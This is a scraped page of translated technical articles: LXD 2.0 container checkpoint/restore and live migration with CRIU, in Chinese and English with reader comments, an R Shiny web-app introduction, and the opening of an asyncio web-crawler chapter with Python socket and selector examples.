├── fs-98.img
├── ids-101.img
├── ids-113.img
├── ids-122.img
├── ids-183.img
├── ids-1.img
├── ids-245.img
├── ids-246.img
├── ids-50.img
├── ids-52.img
├── ids-95.img
├── ids-96.img
├── ids-97.img
├── ids-98.img
├── ifaddr-9.img
├── inetsk.img
├── inotify.img
├── inventory.img
├── ip6tables-9.img
├── ipcns-var-10.img
├── iptables-9.img
├── mm-101.img
├── mm-113.img
├── mm-122.img
├── mm-183.img
├── mm-1.img
├── mm-245.img
├── mm-246.img
├── mm-50.img
├── mm-52.img
├── mm-95.img
├── mm-96.img
├── mm-97.img
├── mm-98.img
├── mountpoints-12.img
├── netdev-9.img
├── netlinksk.img
├── netns-9.img
├── netns-ct-9.img
├── netns-exp-9.img
├── packetsk.img
├── pagemap-101.img
├── pagemap-113.img
├── pagemap-122.img
├── pagemap-183.img
├── pagemap-1.img
├── pagemap-245.img
├── pagemap-246.img
├── pagemap-50.img
├── pagemap-52.img
├── pagemap-95.img
├── pagemap-96.img
├── pagemap-97.img
├── pagemap-98.img
├── pages-10.img
├── pages-11.img
├── pages-12.img
├── pages-13.img
├── pages-1.img
├── pages-2.img
├── pages-3.img
├── pages-4.img
├── pages-5.img
├── pages-6.img
├── pages-7.img
├── pages-8.img
├── pages-9.img
├── pipes-data.img
├── pipes.img
├── pstree.img
├── reg-files.img
├── remap-fpath.img
├── route6-9.img
├── route-9.img
├── rule-9.img
├── seccomp.img
├── sigacts-101.img
├── sigacts-113.img
├── sigacts-122.img
├── sigacts-183.img
├── sigacts-1.img
├── sigacts-245.img
├── sigacts-246.img
├── sigacts-50.img
├── sigacts-52.img
├── sigacts-95.img
├── sigacts-96.img
├── sigacts-97.img
├── sigacts-98.img
├── signalfd.img
├── stats-dump
├── timerfd.img
├── tmpfs-dev-104.tar.gz.img
├── tmpfs-dev-109.tar.gz.img
├── tmpfs-dev-110.tar.gz.img
├── tmpfs-dev-112.tar.gz.img
├── tmpfs-dev-114.tar.gz.img
├── tty.info
├── unixsk.img
├── userns-13.img
└── utsns-11.img
0 directories, 154 files
```
还原容器也很简单:
```
stgraber@dakara:~$ lxc start c1
```
### 实时迁移
实时迁移基本上与上面的有状态快照的停止/启动相同,除了容器目录和配置被移动到另一台机器上。
```
stgraber@dakara:~$ lxc list c1
+------+---------+-----------------------+----------------------------------------------+------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+---------+-----------------------+----------------------------------------------+------------+-----------+
| c1 | RUNNING | 10.178.150.197 (eth0) | 2001:470:b368:4242:216:3eff:fe19:27b0 (eth0) | PERSISTENT | 2 |
+------+---------+-----------------------+----------------------------------------------+------------+-----------+
stgraber@dakara:~$ lxc list s-tollana:
+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+
stgraber@dakara:~$ lxc move c1 s-tollana:
stgraber@dakara:~$ lxc list c1
+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+
stgraber@dakara:~$ lxc list s-tollana:
+------+---------+-----------------------+----------------------------------------------+------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+---------+-----------------------+----------------------------------------------+------------+-----------+
| c1 | RUNNING | 10.178.150.197 (eth0) | 2001:470:b368:4242:216:3eff:fe19:27b0 (eth0) | PERSISTENT | 2 |
+------+---------+-----------------------+----------------------------------------------+------------+-----------+
```
### 限制
正如我之前说的,容器的检查点/恢复还是非常新的功能,我们还在努力地开发这个功能、修复已知的问题。我们确实需要更多的人来尝试这个功能,并给我们反馈,但我不建议在生产中使用这个功能。
我们跟踪的问题列表在 [Launchpad上](https://bugs.launchpad.net/ubuntu/+source/criu/+bugs)。
我们估计在带有 CRIU 的 Ubuntu 16.04 上带有几个服务的基本的 Ubuntu 容器能够正常工作。然而在更复杂的容器、使用了设备直通、复杂的网络服务或特殊的存储配置下可能会失败。
要是有问题,CRIU 会尽可能地在转储时失败,而不是在恢复时。在这种情况下,源容器将继续运行,快照或迁移将会失败,并生成一个日志文件用于调试。
在极少数情况下,CRIU 无法恢复容器,在这种情况下,源容器仍然存在但将被停止,并且必须手动重新启动。
### 发送 bug 报告
我们正在跟踪 Launchpad 上关于 CRIU Ubuntu 软件包的检查点/恢复相关的错误。大多数修复 bug 工作是在上游的 CRIU 或 Linux 内核上进行,但是这种方式我们更容易跟踪。
要提交新的 bug 报告,请看这里。
请务必包括:
* 你运行的命令和显示给你的错误消息
* `lxc info` 的输出(\*)
* `lxc info <container name>`的输出
* `lxc config show -expanded <container name>` 的输出
* `dmesg`(\*)的输出
* `/proc/self/mountinfo` 的输出(\*)
* `lxc exec <container name> - cat /proc/self/mountinfo` 的输出
* `uname -a`(\*)的输出
* `/var/log/lxd.log`(\*)的内容
* `/etc/default/lxd-bridge`(\*)的内容
* `/var/log/lxd/<container name>/` 的 tarball(\*)
如果报告迁移错误,而不是状态快照或有状态停止的错误,请将上面所有含有(\*)标记的源与目标主机的信息发来。
### 额外信息
CRIU 的网站在: <https://criu.org>
LXD 的主站在: <https://linuxcontainers.org/lxd>
LXD 的 GitHub 仓库: <https://github.com/lxc/lxd>
LXD 的邮件列表: <https://lists.linuxcontainers.org>
LXD 的 IRC 频道: #lxcontainers on irc.freenode.net
---
作者简介:我是 Stéphane Graber。我是 LXC 和 LXD 项目的领导者,目前在加拿大魁北克蒙特利尔的家所在的Canonical 有限公司担任 LXD 的技术主管。
---
via: <https://stgraber.org/2016/04/25/lxd-2-0-live-migration-912/>
作者:[Stéphane Graber](https://www.stgraber.org/author/stgraber/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 组织翻译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | This is the ninth blog post in [this series about LXD 2.0](https://www.stgraber.org/2016/03/11/lxd-2-0-blog-post-series-012/).
# Introduction
One of the very exciting feature of LXD 2.0, albeit experimental, is the support for container checkpoint and restore.
Simply put, checkpoint/restore means that the running container state can be serialized down to disk and then restored, either on the same host as a stateful snapshot of the container or on another host which equates to live migration.
# Requirements
To have access to container live migration and stateful snapshots, you need the following:
- A very recent Linux kernel, 4.4 or higher.
- CRIU 2.0, possibly with some cherry-picked commits depending on your exact kernel configuration.
- Run LXD directly on the host. It’s not possible to use those features with container nesting.
- For migration, the target machine must at least implement the instruction set of the source, the target kernel must at least offer the same syscalls as the source and any kernel filesystem which was mounted on the source must also be mountable on the target.
All the needed dependencies are provided by Ubuntu 16.04 LTS, in which case, all you need to do is install CRIU itself:
apt install criu
# Using the thing
## Stateful snapshots
A normal container snapshot looks like:
stgraber@dakara:~$ lxc snapshot c1 first stgraber@dakara:~$ lxc info c1 | grep first first (taken at 2016/04/25 19:35 UTC) (stateless)
A stateful snapshot instead looks like:
stgraber@dakara:~$ lxc snapshot c1 second --stateful stgraber@dakara:~$ lxc info c1 | grep second second (taken at 2016/04/25 19:36 UTC) (stateful)
This means that all the container runtime state was serialized to disk and included as part of the snapshot. Restoring one such snapshot is done as you would a stateless one:
stgraber@dakara:~$ lxc restore c1 second stgraber@dakara:~$
## Stateful stop/start
Say you want to reboot your server for a kernel update or similar maintenance. Rather than have to wait for all the containers to start from scratch after reboot, you can do:
stgraber@dakara:~$ lxc stop c1 --stateful
The container state will be written to disk and then picked up the next time you start it.
You can even look at what the state looks like:
root@dakara:~# tree /var/lib/lxd/containers/c1/rootfs/state/ /var/lib/lxd/containers/c1/rootfs/state/ ├── cgroup.img ├── core-101.img ├── core-102.img ├── core-107.img ├── core-108.img ├── core-109.img ├── core-113.img ├── core-114.img ├── core-122.img ├── core-125.img ├── core-126.img ├── core-127.img ├── core-183.img ├── core-1.img ├── core-245.img ├── core-246.img ├── core-50.img ├── core-52.img ├── core-95.img ├── core-96.img ├── core-97.img ├── core-98.img ├── dump.log ├── eventfd.img ├── eventpoll.img ├── fdinfo-10.img ├── fdinfo-11.img ├── fdinfo-12.img ├── fdinfo-13.img ├── fdinfo-14.img ├── fdinfo-2.img ├── fdinfo-3.img ├── fdinfo-4.img ├── fdinfo-5.img ├── fdinfo-6.img ├── fdinfo-7.img ├── fdinfo-8.img ├── fdinfo-9.img ├── fifo-data.img ├── fifo.img ├── filelocks.img ├── fs-101.img ├── fs-113.img ├── fs-122.img ├── fs-183.img ├── fs-1.img ├── fs-245.img ├── fs-246.img ├── fs-50.img ├── fs-52.img ├── fs-95.img ├── fs-96.img ├── fs-97.img ├── fs-98.img ├── ids-101.img ├── ids-113.img ├── ids-122.img ├── ids-183.img ├── ids-1.img ├── ids-245.img ├── ids-246.img ├── ids-50.img ├── ids-52.img ├── ids-95.img ├── ids-96.img ├── ids-97.img ├── ids-98.img ├── ifaddr-9.img ├── inetsk.img ├── inotify.img ├── inventory.img ├── ip6tables-9.img ├── ipcns-var-10.img ├── iptables-9.img ├── mm-101.img ├── mm-113.img ├── mm-122.img ├── mm-183.img ├── mm-1.img ├── mm-245.img ├── mm-246.img ├── mm-50.img ├── mm-52.img ├── mm-95.img ├── mm-96.img ├── mm-97.img ├── mm-98.img ├── mountpoints-12.img ├── netdev-9.img ├── netlinksk.img ├── netns-9.img ├── netns-ct-9.img ├── netns-exp-9.img ├── packetsk.img ├── pagemap-101.img ├── pagemap-113.img ├── pagemap-122.img ├── pagemap-183.img ├── pagemap-1.img ├── pagemap-245.img ├── pagemap-246.img ├── pagemap-50.img ├── pagemap-52.img ├── pagemap-95.img ├── pagemap-96.img ├── pagemap-97.img ├── pagemap-98.img ├── pages-10.img ├── pages-11.img ├── pages-12.img ├── pages-13.img ├── pages-1.img ├── pages-2.img ├── pages-3.img ├── pages-4.img ├── pages-5.img ├── pages-6.img ├── pages-7.img ├── pages-8.img ├── pages-9.img ├── pipes-data.img ├── pipes.img ├── pstree.img ├── reg-files.img ├── remap-fpath.img ├── route6-9.img ├── route-9.img ├── rule-9.img ├── seccomp.img ├── sigacts-101.img ├── sigacts-113.img ├── sigacts-122.img ├── sigacts-183.img ├── sigacts-1.img ├── sigacts-245.img ├── sigacts-246.img ├── sigacts-50.img ├── sigacts-52.img ├── sigacts-95.img ├── sigacts-96.img ├── sigacts-97.img ├── sigacts-98.img ├── signalfd.img ├── stats-dump ├── timerfd.img ├── tmpfs-dev-104.tar.gz.img ├── tmpfs-dev-109.tar.gz.img ├── tmpfs-dev-110.tar.gz.img ├── tmpfs-dev-112.tar.gz.img ├── tmpfs-dev-114.tar.gz.img ├── tty.info ├── unixsk.img ├── userns-13.img └── utsns-11.img 0 directories, 154 files
Restoring the container can be done with a simple:
stgraber@dakara:~$ lxc start c1
## Live migration
Live migration is basically the same as the stateful stop/start above, except that the container directory and configuration happens to be moved to another machine too.
stgraber@dakara:~$ lxc list c1 +------+---------+-----------------------+----------------------------------------------+------------+-----------+ | NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS | +------+---------+-----------------------+----------------------------------------------+------------+-----------+ | c1 | RUNNING | 10.178.150.197 (eth0) | 2001:470:b368:4242:216:3eff:fe19:27b0 (eth0) | PERSISTENT | 2 | +------+---------+-----------------------+----------------------------------------------+------------+-----------+ stgraber@dakara:~$ lxc list s-tollana: +------+-------+------+------+------+-----------+ | NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS | +------+-------+------+------+------+-----------+ stgraber@dakara:~$ lxc move c1 s-tollana: stgraber@dakara:~$ lxc list c1 +------+-------+------+------+------+-----------+ | NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS | +------+-------+------+------+------+-----------+ stgraber@dakara:~$ lxc list s-tollana: +------+---------+-----------------------+----------------------------------------------+------------+-----------+ | NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS | +------+---------+-----------------------+----------------------------------------------+------------+-----------+ | c1 | RUNNING | 10.178.150.197 (eth0) | 2001:470:b368:4242:216:3eff:fe19:27b0 (eth0) | PERSISTENT | 2 | +------+---------+-----------------------+----------------------------------------------+------------+-----------+
# Limitations
As I said before, checkpoint/restore of containers is still pretty new and we’re still very much working on this feature, fixing issues as we are made aware of them. We do need more people trying this feature and sending us feedback, I would however not recommend using this in production just yet.
The current list of issues we’re tracking is [available on Launchpad](https://bugs.launchpad.net/ubuntu/+source/criu/+bugs).
We expect a basic Ubuntu container with a few services to work properly with CRIU in Ubuntu 16.04. However more complex containers, using device passthrough, complex network services or special storage configurations are likely to fail.
Whenever possible, CRIU will fail at dump time, rather than at restore time. In such cases, the source container will keep running, the snapshot or migration will simply fail and a log file will be generated for debugging.
In rare cases, CRIU fails to restore the container, in which case the source container will still be around but will be stopped and will have to be manually restarted.
# Sending bug reports
We’re tracking bugs related to checkpoint/restore against the CRIU Ubuntu package on Launchpad. Most of the work to fix those bugs will then happen upstream either on CRIU itself or the Linux kernel, but it’s easier for us to track things this way.
To file a new bug report, [head here](https://launchpad.net/ubuntu/+source/criu/+filebug?no-redirect).
Please make sure to include:
- The command you ran and the error message as displayed to you
- Output of “lxc info” (*)
- Output of “lxc info <container name>”
- Output of “lxc config show –expanded <container name>”
- Output of “dmesg” (*)
- Output of “/proc/self/mountinfo” (*)
- Output of “lxc exec <container name> — cat /proc/self/mountinfo”
- Output of “uname -a” (*)
- The content of /var/log/lxd.log (*)
- The content of /etc/default/lxd-bridge (*)
- A tarball of /var/log/lxd/<container name>/ (*)
If reporting a migration bug as opposed to a stateful snapshot or stateful stop bug, please include the data for both the source and target for any of the above which has been marked with a (*).
# Extra information
The CRIU website can be found at: [https://criu.org](https://criu.org)
The main LXD website is at: [https://linuxcontainers.org/lxd
](https://linuxcontainers.org/lxd)Development happens on Github at:
[https://github.com/lxc/lxd](https://github.com/lxc/lxd)
Mailing-list support happens on:
[https://lists.linuxcontainers.org](https://lists.linuxcontainers.org)
IRC support happens in: #lxcontainers on irc.freenode.net
Try LXD online:
[https://linuxcontainers.org/lxd/try-it](https://linuxcontainers.org/lxd/try-it)
Hello,
for some reason(s) for me applying migratable profile was necessary to succeed but I couldn’t find any reference for it here.
Am I missing something? (xenial both hosts, criu installed)
We deprecated the migratable profile quite a while ago, it’s not present on new installs at all. So sounds like you may have some old LXD config around that may be messing with your containers.
I know, I added that as per insights [1].
Strangely enough this only happens to one upgraded system (from 15.04 -> 15.10 -> 16.04), others are working fine.
Same package versions, latest everything.
[1]: https://insights.ubuntu.com/2015/05/06/live-migration-in-lxd/
Hi,
In order to avoid the network transfer of the container root, I’m going to install a distribute filesystem on each lxd node. Is it supported?
I would like to know the answer to this question as well… 🙂
Hey after the command lxc move host1 p1,I am getitng the error renaming of running container not allowed
Hi,
can you give me a hint how to do live migration with curl using the REST API? I know how to start it:
curl -s -k –cert crt.pem –key key.pem -X POST -d ‘{“migration”: true}’ https://192.168.168.167:8443/1.0/containers/rf-infraserver | jq
I get “Operation created” status code 100 but I don’t understand what to do next to really start the migration. You wrote in rest-api.md
“The migration does not actually start until someone (i.e. another lxd instance) connects to all the websockets and begins negotiation with the source.”
What this means?
I installed fresh ubuntu 16.04, and stateful snapshots do not work at all.
# lxc launch ubuntu: c1
Creating c1
Starting c1
# lxc snapshot c1 first –stateful
error: snapshot dump failed
(00.007832) Error (action-scripts.c:60): One of more action scripts failed
(00.007868) Error (cr-dump.c:1621): Pre dump script failed with 32512!
without “–stateful” everything works ok.
root@dnxovh-hy001 (node1):~# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04
Codename: xenial
root@dnxovh-hy001 (node1):~# dpkg -l |egrep “criu|lxc|lxd” | awk ‘{print $2,$3,$4}’ |
criu 2.0-2ubuntu3 amd64 |
liblxc1 2.0.5-0ubuntu1~ubuntu16.04.1~ppa1 amd64 |
lxc-common 2.0.5-0ubuntu1~ubuntu16.04.1~ppa1 amd64 |
lxcfs 2.0.4-0ubuntu1~ubuntu16.04.1~ppa1 amd64 |
lxd 2.4.1-0ubuntu1~ubuntu16.04.1~ppa1 amd64 |
lxd-client 2.4.1-0ubuntu1~ubuntu16.04.1~ppa1 amd64
root@dnxovh-hy001 (node1):~# lxc info |
apiextensions: |
– storage_zfs_remove_snapshots |
– container_host_shutdown_timeout |
– container_syscall_filtering |
– auth_pki |
– container_last_used_at |
– etag |
– patch |
– usb_devices |
– https_allowed_credentials |
– image_compression_algorithm |
– directory_manipulation |
– container_cpu_time |
– storage_zfs_use_refquota
– storage_lvm_mount_options
– network
– profile_usedby
– container_push
apistatus: stable
apiversion: “1.0”
addresses:
– 10.0.0.1:8443
architectures:
– x86_64
– i686
driver: lxc
driverversion: 2.0.5
kernel: Linux
kernelarchitecture: x86_64
kernelversion: 4.4.0-43-generic
server: lxd
serverpid: 15124
serverversion: 2.4.1
storage: zfs
storageversion: “5”
config:
core.https_address: 10.0.0.1:8443
core.trust_password: true
storage.zfs_pool_name: zdata/lxd
public: false
root@dnxovh-hy001 (node1):~# lxc list
+————–+———+———————–+——+————+———–+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+————–+———+———————–+——+————+———–+
| inxovh-db001 | RUNNING | 192.168.10.201 (eth0) | | PERSISTENT | 0 |
+————–+———+———————–+——+————+———–+
| inxovh-db002 | RUNNING | 192.168.10.202 (eth0) | | PERSISTENT | 0 |
+————–+———+———————–+——+————+———–+
| inxovh-db003 | RUNNING | 192.168.10.203 (eth0) | | PERSISTENT | 0 |
+————–+———+———————–+——+————+———–+
root@dnxovh-hy001 (node1):~# lxc remote list |
+—————–+——————————————+—————+——–+——–+
| NAME | URL | PROTOCOL | PUBLIC | STATIC |
+—————–+——————————————+—————+——–+——–+
| images | https://images.linuxcontainers.org | simplestreams | YES | NO |
+—————–+——————————————+—————+——–+——–+
| local (default) | unix:// | lxd | NO | YES |
+—————–+——————————————+—————+——–+——–+
| node2 | https://10.0.0.2:8443 | lxd | NO | NO |
+—————–+——————————————+—————+——–+——–+
| ubuntu | https://cloud-images.ubuntu.com/releases | simplestreams | YES | YES |
+—————–+——————————————+—————+——–+——–+
| ubuntu-daily | https://cloud-images.ubuntu.com/daily | simplestreams | YES | YES |
+—————–+——————————————+—————+——–+——–+
root@dnxovh-hy001 (node1):~# lxc info inxovh-db001
Name: inxovh-db001
Remote: unix:/var/lib/lxd/unix.socket
Architecture: x86_64
Created: 2016/10/19 13:41 UTC
Status: Running
Type: persistent
Profiles: default
Pid: 3148
Ips:
lo: inet 127.0.0.1
lo: inet6 ::1
lxdbr0: inet6 fe80::e4a2:e5ff:fe66:7180
lxdbr0: inet6 fe80::1
eth0: inet 192.168.10.201 vethPU4Y94
eth0: inet6 fe80::216:3eff:fe5a:fc58 vethPU4Y94
Resources:
Processes: 70
Disk usage:
root: 166.26MB
CPU usage:
CPU usage (in seconds): 78
Memory usage:
Memory (current): 144.85MB
Memory (peak): 215.60MB
Network usage:
eth0:
Bytes received: 27.83MB
Bytes sent: 243.20MB
Packets received: 240888
Packets sent: 204223
lo:
Bytes received: 6.56kB
Bytes sent: 6.56kB
Packets received: 96
Packets sent: 96
lxdbr0:
Bytes received: 0 bytes
Bytes sent: 470 bytes
Packets received: 0
Packets sent: 5
root@dnxovh-hy001 (node1):~#
Live migration failed always with same message:
root@dnxovh-hy001 (node1):~# lxc move inxovh-db002 node2:inxovh-db002
error: Error transferring container data: migration restore failed
(01.045004) Warn (cr-restore.c:1159): Set CLONE_PARENT | CLONE_NEWPID but it might cause restore problem,because not all kernels support such clone flags combinations!
(01.063601) 1: Error (cr-restore.c:1489): mkdtemp failed crtools-proc.Qi1baH: Permission denied
(01.074712) Error (cr-restore.c:1352): 22488 killed by signal 9
(01.123156) Error (cr-restore.c:2182): Restoring FAILED.
/tmp are of course with good perms
root@dnxovh-hy001 (node1):~# ls -ld /tmp
drwxrwxrwt 16 root root 86016 Oct 19 21:42 /tmp
root@dnxovh-hy001 (node1):~# ssh node2 !!
ssh node2 ls -ld /tmp
drwxrwxrwt 9 root root 4096 Oct 19 21:42 /tmp
Any clue is welcome !
Thanks |
8,264 | 如何用 R 语言的 Shiny 库编写 web 程序 | https://opensource.com/article/17/1/writing-new-web-apps-shiny | 2017-03-04T10:48:16 | [
"Shiny"
] | /article-8264-1.html | 
我这个月在写一些更加长的文章,所以你们可以在几周后再来看看。本月,我想简要地提下我自己一直在玩的一个很棒的 R 库。
我的一个亲密朋友最近在用 R 编写东西。我一直都对它很感兴趣,也一直在试图挤时间,学习更多关于 R 的知识以及可用它做的事情。探索 R 的超强数字处理能力对我而言有些困难,因为我并不如我朋友那样有一个数学头脑。我进展有点慢,但我一直试图将它与我在其他领域的经验联系起来,我甚至开始考虑非常简单的 web 程序。
[Shiny](http://shiny.rstudio.com/) 是一个来自 RStudio 的工具包,它让创建 web 程序变得更容易。它能从 R 控制台轻松安装,只需要一行,就可以加载好最新的稳定版本来使用。这里有一个很棒的[教程](http://shiny.rstudio.com/tutorial),它可以在前面课程基础上,带着你理解应用架设的概念。 Shiny 的授权是 GPLv3,源代码可以在 [GitHub](https://github.com/studio/shiny) 上获得。
这是一个用 Shiny 写的简单的小 web 程序:
```
library(shiny)
server <- function(input, output, session) {
observe({
myText <- paste("Value above is: ", input$textIn)
updateTextInput(session, "textOut", value=myText)
})
}
ui <- basicPage(
h3("My very own sample application!"),
textInput("textIn", "Input goes here, please."),
textInput("textOut", "Results will be printed in this box")
)
shinyApp(ui = ui, server = server)
```
当你在输入框中输入文字时,它会被复制到输出框中提示语后。这并没有什么奇特的,但它向你展示了一个 Shiny 程序的基本结构。“server”部分允许你处理所有后端工作,如计算、数据库检索或程序需要发生的任何其他操作。“ui”部分定义了接口,它可以根据需要变得简单或复杂。
包括在 Shiny 中的 [Bootstrap](http://getbootstrap.com/) 有了大量样式和主题,所以在学习了一点后,就能用 R 创建大量功能丰富的 web 程序。使用附加包可以将功能扩展到更高级的 JavaScript 程序、模板等。
有几种方式处理 Shiny 的后端工作。如果你只是在本地运行你的程序,加载库就能做到。对于想要发布到网络上的程序,你可以在 [RStudio 的 Shiny 网站](http://shinyapps.io/)上共享它们,运行开源版本的 Shiny 服务器,或通过按年订阅服务从 RStudio 处购买 Shiny Server Pro。
经验丰富的 R 大牛可能已经知道 Shiny 了;它已经存在大约几年了。对于像我这样来自一个完全不同的编程语言,并且希望学习一点 R 的人来说,它是相当有帮助的。
---
作者简介:
D Ruth Bavousett - D Ruth Bavousett 作为一名系统管理员和软件开发人员已经很长时间了,她的专业生涯开始于 VAX 11/780。在她的职业生涯(迄今为止)中,她花费了大量的时间在满足库的需求上,她自 2008 年以来一直是 Koha 开源库自动化套件的贡献者. Ruth 目前在休斯敦的 cPanel 任 Perl 开发人员,他也作为首席员工效力于双猫公司。
---
via: <https://opensource.com/article/17/1/writing-new-web-apps-shiny>
作者:[D Ruth Bavousett](https://opensource.com/users/druthb) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| null | HTTPSConnectionPool(host='opensource.com', port=443): Read timed out. (read timeout=10) | null |
8,265 | 一个使用 asyncio 协程的网络爬虫(一) | http://aosabook.org/en/500L/pages/a-web-crawler-with-asyncio-coroutines.html | 2017-03-04T15:59:00 | [
"Python",
"回调",
"异步",
"爬虫",
"协程",
"asyncio"
] | https://linux.cn/article-8265-1.html |
>
> 本文作者:
>
>
> A. Jesse Jiryu Davis 是纽约 MongoDB 的工程师。他编写了异步 MongoDB Python 驱动程序 Motor,也是 MongoDB C 驱动程序的开发领袖和 PyMongo 团队成员。 他也为 asyncio 和 Tornado 做了贡献,在 <http://emptysqua.re> 上写作。
>
>
> Guido van Rossum 是主流编程语言 Python 的创造者,Python 社区称他为 BDFL (<ruby> 仁慈的终生大独裁者 <rp> ( </rp> <rt> Benevolent Dictator For Life </rt> <rp> ) </rp></ruby>)——这是一个来自 Monty Python 短剧的称号。他的主页是 [http://www.python.org/~guido/](http://www.python.org/%7Eguido/) 。
>
>
>

### 介绍
经典的计算机科学强调高效的算法,尽可能快地完成计算。但是很多网络程序的时间并不是消耗在计算上,而是在等待许多慢速的连接或者低频事件的发生。这些程序暴露出一个新的挑战:如何高效的等待大量网络事件。一个现代的解决方案是异步 I/O。
这一章我们将实现一个简单的网络爬虫。这个爬虫只是一个原型式的异步应用,因为它等待许多响应而只做少量的计算。一次爬的网页越多,它就能越快的完成任务。如果它为每个动态的请求启动一个线程的话,随着并发请求数量的增加,它会在耗尽套接字之前,耗尽内存或者线程相关的资源。使用异步 I/O 可以避免这个的问题。
我们将分三个阶段展示这个例子。首先,我们会实现一个事件循环并用这个事件循环和回调来勾画出一只网络爬虫。它很有效,但是当把它扩展成更复杂的问题时,就会导致无法管理的混乱代码。然后,由于 Python 的协程不仅有效而且可扩展,我们将用 Python 的生成器函数实现一个简单的协程。在最后一个阶段,我们将使用 Python 标准库“asyncio”中功能完整的协程, 并通过异步队列完成这个网络爬虫。(在 [PyCon 2013](http://pyvideo.org/video/1667/keynote) 上,Guido 介绍了标准的 asyncio 库,当时称之为“Tulip”。)
### 任务
网络爬虫寻找并下载一个网站上的所有网页,也许还会把它们存档,为它们建立索引。从根 URL 开始,它获取每个网页,解析出没有遇到过的链接加到队列中。当网页没有未见到过的链接并且队列为空时,它便停止运行。
我们可以通过同时下载大量的网页来加快这一过程。当爬虫发现新的链接,它使用一个新的套接字并行的处理这个新链接,解析响应,添加新链接到队列。当并发很大时,可能会导致性能下降,所以我们会限制并发的数量,在队列保留那些未处理的链接,直到一些正在执行的任务完成。
### 传统方式
怎么使一个爬虫并发?传统的做法是创建一个线程池,每个线程使用一个套接字在一段时间内负责一个网页的下载。比如,下载 xkcd.com 网站的一个网页:
```
def fetch(url):
sock = socket.socket()
sock.connect(('xkcd.com', 80))
request = 'GET {} HTTP/1.0\r\nHost: xkcd.com\r\n\r\n'.format(url)
sock.send(request.encode('ascii'))
response = b''
chunk = sock.recv(4096)
while chunk:
response += chunk
chunk = sock.recv(4096)
# Page is now downloaded.
links = parse_links(response)
q.add(links)
```
套接字操作默认是阻塞的:当一个线程调用一个类似 `connect` 和 `recv` 方法时,它会阻塞,直到操作完成。(即使是 `send` 也能被阻塞,比如接收端在接受外发消息时缓慢而系统的外发数据缓存已经满了的情况下)因此,为了同一时间内下载多个网页,我们需要很多线程。一个复杂的应用会通过线程池保持空闲的线程来分摊创建线程的开销。同样的做法也适用于套接字,使用连接池。
到目前为止,使用线程的是成本昂贵的,操作系统对一个进程、一个用户、一台机器能使用线程做了不同的硬性限制。在 作者 Jesse 的系统中,一个 Python 线程需要 50K 的内存,开启上万个线程就会失败。每个线程的开销和系统的限制就是这种方式的瓶颈所在。
在 Dan Kegel 那一篇很有影响力的文章“[The C10K problem](http://www.kegel.com/c10k.html)”中,它提出了多线程方式在 I/O 并发上的局限性。他在开始写道,
>
> 网络服务器到了要同时处理成千上万的客户的时代了,你不这样认为么?毕竟,现在网络规模很大了。
>
>
>
Kegel 在 1999 年创造出“C10K”这个术语。一万个连接在今天看来还是可接受的,但是问题依然存在,只不过大小不同。回到那时候,对于 C10K 问题,每个连接启一个线程是不切实际的。现在这个限制已经成指数级增长。确实,我们的玩具网络爬虫使用线程也可以工作的很好。但是,对于有着千万级连接的大规模应用来说,限制依然存在:它会消耗掉所有线程,即使套接字还够用。那么我们该如何解决这个问题?
### 异步
异步 I/O 框架在一个线程中完成并发操作。让我们看看这是怎么做到的。
异步框架使用*非阻塞*套接字。异步爬虫中,我们在发起到服务器的连接前把套接字设为非阻塞:
```
sock = socket.socket()
sock.setblocking(False)
try:
sock.connect(('xkcd.com', 80))
except BlockingIOError:
pass
```
对一个非阻塞套接字调用 `connect` 方法会立即抛出异常,即使它可以正常工作。这个异常复现了底层 C 语言函数令人厌烦的行为,它把 `errno` 设置为 `EINPROGRESS`,告诉你操作已经开始。
现在我们的爬虫需要一种知道连接何时建立的方法,这样它才能发送 HTTP 请求。我们可以简单地使用循环来重试:
```
request = 'GET {} HTTP/1.0\r\nHost: xkcd.com\r\n\r\n'.format(url)
encoded = request.encode('ascii')
while True:
try:
sock.send(encoded)
break # Done.
except OSError as e:
pass
print('sent')
```
这种方法不仅消耗 CPU,也不能有效的等待*多个*套接字。在远古时代,BSD Unix 的解决方法是 `select`,这是一个 C 函数,它在一个或一组非阻塞套接字上等待事件发生。现在,互联网应用大量连接的需求,导致 `select` 被 `poll` 所代替,在 BSD 上的实现是 `kqueue` ,在 Linux 上是 `epoll`。它们的 API 和 `select` 相似,但在大数量的连接中也能有较好的性能。
Python 3.4 的 `DefaultSelector` 会使用你系统上最好的 `select` 类函数。要注册一个网络 I/O 事件的提醒,我们会创建一个非阻塞套接字,并使用默认 selector 注册它。
```
from selectors import DefaultSelector, EVENT_WRITE
selector = DefaultSelector()
sock = socket.socket()
sock.setblocking(False)
try:
sock.connect(('xkcd.com', 80))
except BlockingIOError:
pass
def connected():
selector.unregister(sock.fileno())
print('connected!')
selector.register(sock.fileno(), EVENT_WRITE, connected)
```
我们不理会这个伪造的错误,调用 `selector.register`,传递套接字文件描述符和一个表示我们想要监听什么事件的常量表达式。为了当连接建立时收到提醒,我们使用 `EVENT_WRITE` :它表示什么时候这个套接字可写。我们还传递了一个 Python 函数 `connected`,当对应事件发生时被调用。这样的函数被称为*回调*。
在一个循环中,selector 接收到 I/O 提醒时我们处理它们。
```
def loop():
while True:
events = selector.select()
for event_key, event_mask in events:
callback = event_key.data
callback()
```
`connected` 回调函数被保存在 `event_key.data` 中,一旦这个非阻塞套接字建立连接,它就会被取出来执行。
